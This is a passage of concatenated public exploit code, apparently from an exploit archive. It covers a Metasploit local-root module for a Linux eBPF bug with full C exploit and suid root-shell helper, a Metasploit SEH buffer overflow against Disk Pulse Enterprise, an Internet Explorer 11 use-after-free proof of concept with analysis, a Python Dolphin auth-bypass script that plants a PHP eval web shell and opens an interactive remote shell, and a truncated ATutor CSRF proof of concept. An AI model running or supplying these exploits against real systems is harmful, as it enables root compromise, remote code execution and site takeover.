            [ 'URL', 'https://git.kernel.org/cgit/linux/kernel/git/torvalds/linux.git/commit/?id=8358b02bf67d3a5d8a825070e1aa73f25fb2e4c7' ]
          ],
        'Targets'       =>
          [
            [ 'Linux x86',       { 'Arch' => ARCH_X86 } ],
            [ 'Linux x64',       { 'Arch' => ARCH_X86_64 } ]
          ],
        'DefaultOptions' =>
          {
            'payload' => 'linux/x64/mettle/reverse_tcp',
            'PrependFork' => true,
            'WfsDelay' => 60 # we can chew up a lot of CPU for this, so we want to give time for payload to come through
            },
        'DefaultTarget' => 1,
        'DisclosureDate' => 'May 04 2016',
        'Privileged'     => true
      }
      ))
    register_options([
        OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]),
        OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']]),
        OptInt.new('MAXWAIT', [ true, 'Max seconds to wait for decrementation in seconds', 120 ])
      ], self.class)
  end

  def check
    def check_config_bpf_syscall?()
      output = cmd_exec('grep CONFIG_BPF_SYSCALL /boot/config-`uname -r`')
      if output == 'CONFIG_BPF_SYSCALL=y'
        vprint_good('CONFIG_BPF_SYSCALL is set to yes')
        return true
      else
        print_error('CONFIG_BPF_SYSCALL is NOT set to yes')
        return false
      end
    end

    def check_kernel_disabled?()
      output = cmd_exec('sysctl kernel.unprivileged_bpf_disabled')
      if output != 'kernel.unprivileged_bpf_disabled = 1'
        vprint_good('kernel.unprivileged_bpf_disabled is NOT set to 1')
        return true
      else
        print_error('kernel.unprivileged_bpf_disabled is set to 1')
        return false
      end
    end

    def check_fuse?()
      lib = cmd_exec('dpkg --get-selections | grep ^fuse')
      if lib.include?('install')
        vprint_good('fuse is installed')
        return true
      else
        print_error('fuse is not installed.  Exploitation will fail.')
        return false
      end
    end

    def mount_point_exists?()
      if directory?('/tmp/fuse_mount')
        print_error('/tmp/fuse_mount should be unmounted and deleted.  Exploitation will fail.')
        return false
      else
        vprint_good('/tmp/fuse_mount doesn\'t exist')
        return true
      end
    end

    if check_config_bpf_syscall?() && check_kernel_disabled?() && check_fuse?() && mount_point_exists?()
      CheckCode::Appears
    else
      CheckCode::Safe
    end
  end

  def exploit

    def upload_and_compile(filename, file_path, file_content, compile=nil)
      rm_f "#{file_path}"
      if not compile.nil?
        rm_f "#{file_path}.c"
        vprint_status("Writing #{filename} to #{file_path}.c")
        write_file("#{file_path}.c", file_content)
        register_file_for_cleanup("#{file_path}.c")
        output = cmd_exec(compile)
        if output != ''
          print_error(output)
          fail_with(Failure::Unknown, "#{filename} at #{file_path}.c failed to compile")
        end
      else
        vprint_status("Writing #{filename} to #{file_path}")
        write_file(file_path, file_content)
      end
      cmd_exec("chmod +x #{file_path}");
      register_file_for_cleanup(file_path)
    end

    doubleput = %q{
      #define _GNU_SOURCE
      #include <stdbool.h>
      #include <errno.h>
      #include <err.h>
      #include <unistd.h>
      #include <fcntl.h>
      #include <sched.h>
      #include <signal.h>
      #include <stdlib.h>
      #include <stdio.h>
      #include <string.h>
      #include <sys/types.h>
      #include <sys/stat.h>
      #include <sys/syscall.h>
      #include <sys/prctl.h>
      #include <sys/uio.h>
      #include <sys/mman.h>
      #include <sys/wait.h>
      #include <linux/bpf.h>
      #include <linux/kcmp.h>

      #ifndef __NR_bpf
      # if defined(__i386__)
      #  define __NR_bpf 357
      # elif defined(__x86_64__)
      #  define __NR_bpf 321
      # elif defined(__aarch64__)
      #  define __NR_bpf 280
      # else
      #  error
      # endif
      #endif

      int uaf_fd;

      int task_b(void *p) {
        /* step 2: start writev with slow IOV, raising the refcount to 2 */
        char *cwd = get_current_dir_name();
        char data[2048];
        sprintf(data, "* * * * * root /bin/chown root:root '%s'/suidhelper; /bin/chmod 06755 '%s'/suidhelper\n#", cwd, cwd);
        struct iovec iov = { .iov_base = data, .iov_len = strlen(data) };
        if (system("fusermount -u /home/user/ebpf_mapfd_doubleput/fuse_mount 2>/dev/null; mkdir -p fuse_mount && ./hello ./fuse_mount"))
          errx(1, "system() failed");
        int fuse_fd = open("fuse_mount/hello", O_RDWR);
        if (fuse_fd == -1)
          err(1, "unable to open FUSE fd");
        if (write(fuse_fd, &iov, sizeof(iov)) != sizeof(iov))
          errx(1, "unable to write to FUSE fd");
        struct iovec *iov_ = mmap(NULL, sizeof(iov), PROT_READ, MAP_SHARED, fuse_fd, 0);
        if (iov_ == MAP_FAILED)
          err(1, "unable to mmap FUSE fd");
        fputs("starting writev\n", stderr);
        ssize_t writev_res = writev(uaf_fd, iov_, 1);
        /* ... and starting inside the previous line, also step 6: continue writev with slow IOV */
        if (writev_res == -1)
          err(1, "writev failed");
        if (writev_res != strlen(data))
          errx(1, "writev returned %d", (int)writev_res);
        fputs("writev returned successfully. if this worked, you'll have a root shell in <=60 seconds.\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      void make_setuid(void) {
        /* step 1: open writable UAF fd */
        uaf_fd = open("/dev/null", O_WRONLY|O_CLOEXEC);
        if (uaf_fd == -1)
          err(1, "unable to open UAF fd");
        /* refcount is now 1 */

        char child_stack[20000];
        int child = clone(task_b, child_stack + sizeof(child_stack), CLONE_FILES | SIGCHLD, NULL);
        if (child == -1)
          err(1, "clone");
        sleep(3);
        /* refcount is now 2 */

        /* step 2+3: use BPF to remove two references */
        for (int i=0; i<2; i++) {
          struct bpf_insn insns[2] = {
            {
              .code = BPF_LD | BPF_IMM | BPF_DW,
              .src_reg = BPF_PSEUDO_MAP_FD,
              .imm = uaf_fd
            },
            {
            }
          };
          union bpf_attr attr = {
            .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
            .insn_cnt = 2,
            .insns = (__aligned_u64) insns,
            .license = (__aligned_u64)""
          };
          if (syscall(__NR_bpf, BPF_PROG_LOAD, &attr, sizeof(attr)) != -1)
            errx(1, "expected BPF_PROG_LOAD to fail, but it didn't");
          if (errno != EINVAL)
            err(1, "expected BPF_PROG_LOAD to fail with -EINVAL, got different error");
        }
        /* refcount is now 0, the file is freed soon-ish */

        /* step 5: open a bunch of readonly file descriptors to the target file until we hit the same pointer */
        int status;
        int hostnamefds[1000];
        int used_fds = 0;
        bool up = true;
        while (1) {
          if (waitpid(child, &status, WNOHANG) == child)
            errx(1, "child quit before we got a good file*");
          if (up) {
            hostnamefds[used_fds] = open("/etc/crontab", O_RDONLY);
            if (hostnamefds[used_fds] == -1)
              err(1, "open target file");
            if (syscall(__NR_kcmp, getpid(), getpid(), KCMP_FILE, uaf_fd, hostnamefds[used_fds]) == 0) break;
            used_fds++;
            if (used_fds == 1000) up = false;
          } else {
            close(hostnamefds[--used_fds]);
            if (used_fds == 0) up = true;
          }
        }
        fputs("woohoo, got pointer reuse\n", stderr);
        while (1) sleep(1); /* whatever, just don't crash */
      }

      int main(void) {
        pid_t child = fork();
        if (child == -1)
          err(1, "fork");
        if (child == 0)
          make_setuid();
        struct stat helperstat;
        while (1) {
          if (stat("suidhelper", &helperstat))
            err(1, "stat suidhelper");
          if (helperstat.st_mode & S_ISUID)
            break;
          sleep(1);
        }
        fputs("suid file detected, launching rootshell...\n", stderr);
        execl("./suidhelper", "suidhelper", NULL);
        err(1, "execl suidhelper");
      }
    }

    suid_helper = %q{
      #include <unistd.h>
      #include <err.h>
      #include <stdio.h>
      #include <sys/types.h>

      int main(void) {
        if (setuid(0) || setgid(0))
          err(1, "setuid/setgid");
        fputs("we have root privs now...\n", stderr);
        execl("/bin/bash", "bash", NULL);
        err(1, "execl");
      }

    }

    hello = %q{
      /*
        FUSE: Filesystem in Userspace
        Copyright (C) 2001-2007  Miklos Szeredi <miklos@szeredi.hu>
        heavily modified by Jann Horn <jannh@google.com>

        This program can be distributed under the terms of the GNU GPL.
        See the file COPYING.

        gcc -Wall hello.c `pkg-config fuse --cflags --libs` -o hello
      */

      #define FUSE_USE_VERSION 26

      #include <fuse.h>
      #include <stdio.h>
      #include <string.h>
      #include <errno.h>
      #include <fcntl.h>
      #include <unistd.h>
      #include <err.h>
      #include <sys/uio.h>

      static const char *hello_path = "/hello";

      static char data_state[sizeof(struct iovec)];

      static int hello_getattr(const char *path, struct stat *stbuf)
      {
        int res = 0;
        memset(stbuf, 0, sizeof(struct stat));
        if (strcmp(path, "/") == 0) {
          stbuf->st_mode = S_IFDIR | 0755;
          stbuf->st_nlink = 2;
        } else if (strcmp(path, hello_path) == 0) {
          stbuf->st_mode = S_IFREG | 0666;
          stbuf->st_nlink = 1;
          stbuf->st_size = sizeof(data_state);
          stbuf->st_blocks = 0;
        } else
          res = -ENOENT;
        return res;
      }

      static int hello_readdir(const char *path, void *buf, fuse_fill_dir_t filler, off_t offset, struct fuse_file_info *fi) {
        filler(buf, ".", NULL, 0);
        filler(buf, "..", NULL, 0);
        filler(buf, hello_path + 1, NULL, 0);
        return 0;
      }

      static int hello_open(const char *path, struct fuse_file_info *fi) {
        return 0;
      }

      static int hello_read(const char *path, char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        sleep(10);
        size_t len = sizeof(data_state);
        if (offset < len) {
          if (offset + size > len)
            size = len - offset;
          memcpy(buf, data_state + offset, size);
        } else
          size = 0;
        return size;
      }

      static int hello_write(const char *path, const char *buf, size_t size, off_t offset, struct fuse_file_info *fi) {
        if (offset != 0)
          errx(1, "got write with nonzero offset");
        if (size != sizeof(data_state))
          errx(1, "got write with size %d", (int)size);
        memcpy(data_state + offset, buf, size);
        return size;
      }

      static struct fuse_operations hello_oper = {
        .getattr	= hello_getattr,
        .readdir	= hello_readdir,
        .open		= hello_open,
        .read		= hello_read,
        .write		= hello_write,
      };

      int main(int argc, char *argv[]) {
        return fuse_main(argc, argv, &hello_oper, NULL);
      }
    }

    hello_filename = 'hello'
    hello_path = "#{datastore['WritableDir']}/#{hello_filename}"
    doubleput_file = "#{datastore['WritableDir']}/doubleput"
    suidhelper_filename = 'suidhelper'
    suidhelper_path = "#{datastore['WritableDir']}/#{suidhelper_filename}"
    payload_filename = rand_text_alpha(8)
    payload_path = "#{datastore['WritableDir']}/#{payload_filename}"

    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
    end

    def has_prereqs?()
      def check_libfuse_dev?()
        lib = cmd_exec('dpkg --get-selections | grep libfuse-dev')
        if lib.include?('install')
          vprint_good('libfuse-dev is installed')
          return true
        else
          print_error('libfuse-dev is not installed.  Compiling will fail.')
          return false
        end
      end
      def check_gcc?()
        gcc = cmd_exec('which gcc')
        if gcc.include?('gcc')
          vprint_good('gcc is installed')
          return true
        else
          print_error('gcc is not installed.  Compiling will fail.')
          return false
        end
      end
      def check_pkgconfig?()
        lib = cmd_exec('dpkg --get-selections | grep ^pkg-config')
        if lib.include?('install')
          vprint_good('pkg-config is installed')
          return true
        else
          print_error('pkg-config is not installed.  Exploitation will fail.')
          return false
        end
      end
      return check_libfuse_dev?() && check_gcc?() && check_pkgconfig?()
    end

    compile = false
    if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
      if has_prereqs?()
        compile = true
        vprint_status('Live compiling exploit on system')
      else
        vprint_status('Dropping pre-compiled exploit on system')
      end
    end

    if compile == false
      # doubleput file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'doubleput')
      fd = ::File.open( path, "rb")
      doubleput = fd.read(fd.stat.size)
      fd.close
      # hello file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'hello')
      fd = ::File.open( path, "rb")
      hello = fd.read(fd.stat.size)
      fd.close
      # suidhelper file
      path = ::File.join( Msf::Config.data_directory, 'exploits', 'CVE-2016-4557', 'suidhelper')
      fd = ::File.open( path, "rb")
      suid_helper = fd.read(fd.stat.size)
      fd.close

      # overwrite with the hardcoded variable names in the compiled versions
      payload_filename = 'AyDJSaMM'
      payload_path = '/tmp/AyDJSaMM'
    end

    # make our substitutions so things are dynamic
    suid_helper.gsub!(/execl\("\/bin\/bash", "bash", NULL\);/,
               "return execl(\"#{payload_path}\", \"\", NULL);") #launch our payload, and do it in a return to not freeze the executable
    doubleput.gsub!(/execl\(".\/suidhelper", "suidhelper", NULL\);/,
                'exit(0);')
    print_status('Writing files to target')
    cmd_exec("cd #{datastore['WritableDir']}")
    upload_and_compile('hello', hello_path, hello, compile ? "gcc -o #{hello_filename} #{hello_filename}.c -Wall -std=gnu99 `pkg-config fuse --cflags --libs`" : nil)
    upload_and_compile('doubleput', doubleput_file, doubleput, compile ? "gcc -o #{doubleput_file} #{doubleput_file}.c -Wall" : nil)
    upload_and_compile('suidhelper', suidhelper_path, suid_helper, compile ? "gcc -o #{suidhelper_filename} #{suidhelper_filename}.c -Wall" : nil)
    upload_and_compile('payload', payload_path, generate_payload_exe)

    print_status('Starting execution of priv esc.  This may take about 120 seconds')

    cmd_exec(doubleput_file)
    sec_waited = 0
    until sec_waited > datastore['MAXWAIT'] do
      Rex.sleep(1)
      # check file permissions
      if cmd_exec("ls -lah #{suidhelper_path}").include?('-rwsr-sr-x 1 root root')
        print_good('got root, starting payload')
        print_error('This exploit may require process killing of \'hello\', and \'doubleput\' on the target')
        print_error('This exploit may require manual umounting of /tmp/fuse_mount via \'fusermount -z -u /tmp/fuse_mount\' on the target')
        print_error('This exploit may require manual deletion of /tmp/fuse_mount via \'rm -rf /tmp/fuse_mount\' on the target')
        cmd_exec("#{suidhelper_path}")
        return
      end
      sec_waited +=1
    end
  end

  def on_new_session(session)
    # if we don't /bin/bash here, our payload times out
    # [*] Meterpreter session 2 opened (192.168.199.131:4444 -> 192.168.199.130:37022) at 2016-09-27 14:15:04 -0400
    # [*] 192.168.199.130 - Meterpreter session 2 closed.  Reason: Died
    session.shell_command_token('/bin/bash')
    super
  end
end
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::Egghunter
  include Msf::Exploit::Remote::Seh

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Disk Pulse Enterprise Login Buffer Overflow',
      'Description'    => %q{
        This module exploits a stack buffer overflow in Disk Pulse Enterprise
        9.0.34. If a malicious user sends a malicious HTTP login request,
        it is possible to execute a payload that would run under the Windows
        NT AUTHORITY\SYSTEM account. Due to size constraints, this module
        uses the Egghunter technique.
      },
      'License'        => MSF_LICENSE,
      'Author'         =>
        [
          'Chris Higgins', # msf Module -- @ch1gg1ns
          'Tulpa Security' # Original discovery -- @tulpa_security
        ],
      'References'     =>
        [
          [ 'EDB', '40452' ]
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread'
        },
      'Platform'       => 'win',
      'Payload'        =>
        {
          'BadChars' => "\x00\x0a\x0d\x26"
        },
      'Targets'        =>
        [
          [ 'Disk Pulse Enterprise 9.0.34',
            {
              'Ret' => 0x10013AAA, # pop ebp # pop ebx # ret 0x04 - libspp.dll
              'Offset' => 12600
            }
          ],
        ],
      'Privileged'     => true,
      'DisclosureDate' => 'Oct 03 2016',
      'DefaultTarget'  => 0))

    register_options([Opt::RPORT(80)], self.class)

  end

  def check
    res = send_request_cgi({
      'uri'    => '/',
      'method' => 'GET'
    })

    if res and res.code == 200 and res.body =~ /Disk Pulse Enterprise v9\.0\.34/
      return Exploit::CheckCode::Appears
    end

    return Exploit::CheckCode::Safe
  end

  def exploit
    connect
    eggoptions =
    {
      :checksum => true,
      :eggtag => "w00t"
    }

    print_status("Generating exploit...")

    sploit =  "username=admin"
    sploit << "&password=aaaaa\r\n"

    # Would like to use generate_egghunter(), looking for improvement
    egghunter = "\x66\x81\xca\xff\x0f\x42\x52\x6a\x02\x58\xcd\x2e\x3c\x05\x5a\x74"
    egghunter += "\xef\xb8\x77\x30\x30\x74\x8b\xfa\xaf\x75\xea\xaf\x75\xe7\xff\xe7"

    sploit << rand_text(target['Offset'] - payload.encoded.length)
    sploit << "w00tw00t"
    sploit << payload.encoded
    sploit << make_nops(70)
    sploit << rand_text(1614)
    # Would like to use generate_seh_record(), looking for improvement
    sploit << "\x90\x90\xEB\x0B"
    sploit << "\x33\xA3\x01\x10"
    sploit << make_nops(20)
    sploit << egghunter
    sploit << make_nops(7000)

    # Total exploit size should be 21747
    print_status("Total exploit size: " + sploit.length.to_s)
    print_status("Triggering the exploit now...")
    print_status("Please be patient, the egghunter may take a while...")

    res = send_request_cgi({
      'uri' => '/login',
      'method' => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'content-length' => '17000',
      'data' => sploit
    })

    handler
    disconnect

  end
end
            
<!--
Source: http://blog.skylined.nl/20161114001.html

Synopsis

A specially crafted web-page can cause MSIE 11 to interrupt the handling of one readystatechange event with another. This interrupts a call to one of the various C<Element­Name>Element::Notify functions to make another such call and at least one of these functions is non-reentrant. This can have various repercussions, e.g. when an attacker triggers this vulnerability using a CMap­Element object, a reference to that object can be stored in a linked list and the object itself can be freed. This pointer can later be re-used to cause a classic use-after-free issue.

Known affected versions, attack vectors and mitigations

Microsoft Internet Explorer 11

An attacker would need to get a target user to open a specially crafted web-page. Disabling Java­Script should prevent an attacker from triggering the vulnerable code path.

Description

When a Document­Fragment containing an applet element is added to the DOM, all elements receive a notification that they are removed from the CMarkup. Next, they are added to the DOM and receive notification of being added to another CMarkup. When the applet is added, a CObject­Element is created and added to the CMarkup. This causes a readystatechange event to fire, which interrupts the current code. During this readystatechange event, the DOM may be modified, which causes further notifications to fire. However, elements in the Document­Fragment that come after the applet element have already received a notification that they have been remove from one CMarkup, but not that they have been added to the new one. Thus, these elements may receive another notification of removal, followed by two notifications of being added to a CMarkup.
-->

<?xml version="1.0"?>
<!DOCTYPE x PUBLIC "x" "x">
<html xmlns="http://www.w3.org/1999/xhtml">
  <script type="text/javascript">
    <![CDATA[
      // This Po­C attempts to exploit a renetrancy issue in Microsoft Internet
      // Explorer to trigger a use-after-free.
      // See http://blog.skylined.nl/20161114001.html for details.
      var o­Doc­Elem = document.document­Element;
      var o­Container, o­Map1, o­Map2, u­Event­Counter = 0;
      // A C CMarkup object can have a pointer to a C CDoc object. This C
      // CDoc object has a singly linked list of CMap­Elements added to the
      // DOM, starting at offset 8 (See MSHTML!CMarkup::Get­Map­Head) of the CDoc
      // and continuing through offset 38 of the CMap­Element.
      // CDoc[8] -> CMap­Element[38]#1 -> CMap­Element[38]#2 -> etc... -> NULL
      // When CMap­Element::Notify is called to add a Map element to the DOM,
      // code 0x17, the CMap­Element is inserted at the start of this list.
      // When CMap­Element::Notify is called to remove a Map element from the
      // DOM, code 0x18, the linked list is followed to find the CMap­Element and
      // remove if from the list when found.
      // When CMap­Element::Notify is called twice to add the same element to the
      // DOM, a loop is created, rather than the CMap­Element ending up in the
      // list twice.
      // When CMap­Element::Notify is called twice to remove the same element
      // from the DOM, nothing happens the second time.
      function on­Ready­State­Change­Callback(){
        var u­Event­Id = ++u­Event­Counter;
        if (u­Event­Id == 1) {
          // Create a "container" DOM element with three children:
          // map, applet, map.
          o­Container = document.create­Element("o­Container");
          o­Map1 = o­Container.append­Child(document.create­Element("map"));
          o­Container.append­Child(document.create­Element("applet"));
          o­Map2 = o­Container.append­Child(document.create­Element("map"));
          // Add the container DOM element to the DOM document. While adding the
          // applet DOM object to the DOM document a new C "CObject­Element" is
          // created and added to the C CMarkup (which is roughly the equivalent
          // of a DOM Document­Fragment AFAICT). This triggers a new
          // readystatechange event that interrupts the current one.
          o­Doc­Elem.append­Child(o­Container);
          // The interrupting readystatechange event is fired after the o­Map2
          // C CMap­Element::Notify method has been call to notify that the
          // object is being removed from one Document­Fragement, but before it
          // is notified that it is being added to another.
          // List#1 -> CMap­Element#1 -> NULL
        } else if (u­Event­Id == 2) {
          o­Container.remove­Node(true);
          // Removing the container from the document causes another round of
          // calls to ::Notify for remove and add. The last call to o­Map2 was
          // to inform it that it was removed from a C CMarkup. It is now
          // getting another such call. This is unexpected, but the code does
          // not detect it. Next, it is added to a new list.
          // List#2 -> NULL
          // List#2 -> CMap­Element#2 -> CMap­Element#1 -> NULL
        }
        if (u­Event­Id == 1) {
          // Now, the delayed C CMap­Element::Notify method to add the object
          // to the DOM is called. The CMap­Element is added to the same list
          // again, causing a loop.
          // List#2 -> CMap­Element#2 -> CMap­Element#2 -> loop.
          // Finally, we remove the CMap­Element from the DOM and destroy all
          // references we have to it. This causes another round of calls to
          // ::Notify for remove and add, only the remove is important, as
          // it fails to remove the CMap­Element from the list because it
          // contains a loop.
          o­Map2.remove­Node();
          o­Map2 = null;
          // List#2 -> CMap­Element#2 -> CMap­Element#2 -> loop.
          // As far as MSIE is concerned, all references to o­Map2 have now been
          // destroyed, and the element is allowed to get freed. We need to
          // trick the new Memory­Protect code into actually releasing it. For
          // this, we need to interrupt Java­Script execution first, which is
          // done by setting a timeout.
          set­Timeout(function () {
            // Now the Memory­Protect code will allow the CMap­Element to be
            // freed. However, it only does so when enough memory has been
            // scheduled to be freed (100000 bytes). This can easily be forced
            // by creating and discarding a bunch of element. The video element
            // causes MSIE to allocate 0x190 bytes of memory.
            var u­Elements­Count = Math.ceil(100000 / 0x190);
            for (var i = 0; i < u­Elements­Count; i++) {
              document.create­Element("video");
              Collect­Garbage();
            }
            // Now the CMap­Element is finally freed.
            // The list originally contained a reference to CMap­Element#1.
            // When the code tries to remove this, it will follow the linked
            // list and access the freed CMap­Element#2 memory.
            o­Map1.remove­Node();
            alert("FAIL");
          }, 0);
        }
      }
      document.add­Event­Listener("readystatechange", on­Ready­State­Change­Callback, false);
      // This work by Sky­Lined is licensed under a Creative Commons
      // Attribution-Non-Commercial 4.0 International License. 
    ]]>
  </script>
</html>

<!--
AFAICT, this event-within-an-event itself is the root cause of the bug and allows memory corruption in various ways. I discovered the issue because the code in CMap­Element::Notify does not handle this sequence of events well. The below pseudo-code represents that function and shows how this can lead to memory corruption:

void MSHTML!CMap­Element::Notify(CNotification* p­Notification) {
  CElement::Notify(p­Arg1);

  if (p­Notification->dw­Code_00 == 17) { // add
    CMarkup* p­Markup = this->CElement::Get­Markup();
    this->p­Next­Map­Element_38 = p­Markup->Get­Map­Head();
    p­Markup->CMarkup::Set­Map­Head(this);
  } else if (p­Notification->dw­Code_00 == 18) { // remove
    CMarkup* p­Markup = this->CElement::Get­Markup();
    CDoc p­Doc = p­Markup->CMarkup::Get­Lookaside­Ptr(4);
    CMap­Element** pp­Map­Element = &(p­Doc->p­Map­Element_08);
    while(*pp­Map­Element) {
      if (*pp­Map­Element == this) {
        *pp­Map­Element = this->p­Map­Element_38;
        break;
      }
      pp­Map­Element = &(*pp­Map­Element->p­Map­Element_38);
    }
  }
}

This code maintains a singly linked list of map elements that have been added to the document. An object should never be added to this list twice, as this will cause a loop in the list (a map element pointing to itself as the next in the list). However, the event-within-an-event can be used to first cause two consecutive calls to remove the same element from this list followed by two calls to add the same element to the list. This results in the following sequence of events:

The first call to remove the element will remove it from the list.
The second call to remove the element will do nothing.
The first call to add the element will add it to the list.
The second call to add the element will try to add it to the list again, causing the list to contain a loop. This list is now corrupt.

At this point, an attacker can remove the CMap­Element, causing the code to try to remove it from the list and free it. However, because of the loop in the list, the above code will not actually remove it from the list. After this, the pointer in the list points to freed memory.

Exploit

I focused on the CMap­Element::Notify code and was able to reuse the freed memory originally used for the CMap­Element with another object of similar size (eg. a CParam­Element, which may be extra useful as it will store a pointer to its parent CObject­Element at offset 38). However, I could not think of a way to use the CMap­Element::Notify code to do anything useful at that point. I could also not immediately find any other code that uses this linked list, which is a bit odd: why would MSIE keep a linked list and not use it? I suspect there must be other code that uses it, and that this code may allow exploitation of this vulnerability.

Aside from the use-after-free bug that exists for CMap­Element objects above, there may be many other issues for other types of objects, as there are many different C<Elenent­Name>Element::Notify implementations for the various elements. It is assumes that none of these were designed to be reentrant. Unfortunately, I did not have time to exhaustively reverse engineer their code to look for other code paths that might be exploitable. As a result I am unable to prove exploitability beyond reasonable doubt.

Time-line

September 2014: This vulnerability was found through fuzzing.
September 2014: This vulnerability was submitted to ZDI.
September 2014: This vulnerability was acquired by ZDI.
February 2015: Microsoft address this issue in MS15-009.
November 2016: Details of this issue are released.
-->
            
#!/usr/bin/env python
# -*- coding: utf-8 -*-
'''
Software : Dolphin <= 7.3.2 Auth bypass / RCE exploit
Vendor : www.boonex.com
Author : Ahmed sultan (0x4148)
Home : 0x4148.com | https://www.linkedin.com/in/0x4148
Email : 0x4148@gmail.com
Auth bypass trick credit go to Saadat Ullah
'''
import os
import sys
import urllib
import urllib2
import ssl
import base64
print "[+] Dolphin <= 7.3.2 Auth bypass / RCE exploit"
print "[+] Author : Ahmed sultan (0x4148)"
print "[+] Home : 0x4148.com\n"
if len(sys.argv)<2:
	print "\nUsage : python "+sys.argv[0]+" http://HOST/path/\n"
	sys.exit();
hosturl=sys.argv[1]
fields = {'csrf_token': 'Aint give a shit about csrf stuff ;)', 'submit_upload': '0x4148'}
gcontext = ssl.SSLContext(ssl.PROTOCOL_TLSv1)
def generate_http_request(fields):
	lmt = '---------------------------'
	crlf = '\r\n'
	x4148mltprt = []
	x4148mltprt.append('--' + lmt)
	if fields:
		for (key, value) in fields.items():
			x4148mltprt.append('Content-Disposition: form-data; name="%s"' % key)
			x4148mltprt.append('')
			x4148mltprt.append(value)
			x4148mltprt.append('--' + lmt)
	x4148mltprt.append('Content-Disposition: form-data; name="module"; filename="0x4148.zip"')
	x4148mltprt.append('Content-Type: application/zip')
	x4148mltprt.append('')
	x4148mltprt.append("PK\x03\x04\x0a\x00\x00\x00\x00\x00RanIj\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x000x4148fo.php"
	"<?php\x0d\x0aeval(base64_decode($_POST[\'0x4148\']));\x0d\x0a?>PK\x01\x02\x14\x00\x0a\x00\x00\x00\x00\x00RanIj"
	"\xf0\xfdU1\x00\x00\x001\x00\x00\x00\x0c\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x00\x00\x00\x00\x00\x000x4148fo.php"
	"PK\x05\x06\x00\x00\x00\x00\x01\x00\x01\x00:\x00\x00\x00[\x00\x00\x00\x00\x00")
	x4148mltprt.append('--' + lmt + '--')
	x4148mltprt.append('')
	body = crlf.join(x4148mltprt)
	content_type = 'multipart/form-data; boundary=%s' % (lmt)
	return content_type, body
content_type, body = generate_http_request(fields)
print " + Sending payload to "+hosturl.split("//")[1].split("/")[0]
req = urllib2.Request(hosturl+"/administration/modules.php",body)
req.add_header('User-agent', 'Mozilla 15')

req.add_header("Cookie", "memberID=1; memberPassword[]=0x4148;")
req.add_header('Referer', hosturl+"/administration/modules.php")
req.add_header('Content-Type', content_type)
req.add_header('Content-Length', str(len(body)))
req.add_header('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8')
try:
	urllib2.urlopen(req,context=gcontext).read()
except urllib2.HTTPError, e:
	err=e.fp.read()
	print err
	sys.exit()
print " * Checking if payload was send"
data = urllib.urlencode({'0x4148':'echo "0x4148foooo";'.encode('base64')})
req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
if urllib2.urlopen(req).read().find("0x4148foooo")==-1:
	print " - Exploitation failed"
	print req
	sys.exit()
print " + php prompt up and running\n + type 'shell' to get shell access"
while True:
	request=str(raw_input("\nphp>> "))
	if request=="exit":
		sys.exit()
	if request=="shell" or request=="cmd":
		print "\n + Switched to Shell mode\n + Type 'return' to return to php prompt mode"
		while True:
			cmd=str(raw_input("\n0x4148@"+hosturl.split("//")[1].split("/")[0]+"# "))
			if cmd=="return":
				break
			if cmd=="exit":
				sys.exit()
			kkk="passthru('"+cmd+"');"
			data = urllib.urlencode({'0x4148':kkk.encode('base64')})
			req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
			print urllib2.urlopen(req).read()
	data = urllib.urlencode({'0x4148':request.encode('base64')})
	req = urllib2.Request(hosturl+'/tmp/0x4148fo.php', data)
	print urllib2.urlopen(req).read()
            
# Exploit Title: ATutor_2.2.2 Learning Management System 
# Cross-Site Request Forgery (Add New Course)
# Date: 13-11-2016
# Software Link: https://github.com/atutor/ATutor/releases/tag/atutor_2_2_2
# Vendor: http://www.atutor.ca/
# Exploit Author: Saravana Kumar
# Contact: https://facebook.com/06saravanakumar
# Category: webapps
# Version: 2.2.2
# Platform: PHP
# Tested on: [Kali Linux 2.0 | Windows 7]
# Email: 06saravanakumar@gmail.com
# Affected URL:
http://localhost/ATutor/mods/_core/courses/users/create_course.php

==================================
Vulnerability Disclosure Timeline:
==================================
2016-11-07: Found the vulnerability and Reported to Vendor.
2016-11-08: Vendor Replied.
2016-11-10: Vendor Fixed the vulnerability.
2016-11-11: Patch released
2016-10-12: Public Disclosure

########################### CSRF PoC ###############################
 
<html>
   <------ CSRF POC ------>
  <body>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http://localhost/ATutor/mods/_core/courses/users/create_course.php", true);
        xhr.setRequestHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.5");
        xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=---------------------------34481053430281");
        xhr.withCredentials = true;
        var body = "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"form_course\"\r\n" + 
          "\r\n" + 
          "true\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "819200\r\n" + 
          "-----------------------------34481053430281\r\n" + 
          "Content-Disposition: form-data; name=\"course\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "-----------------------------34481053430281\r\n" + 
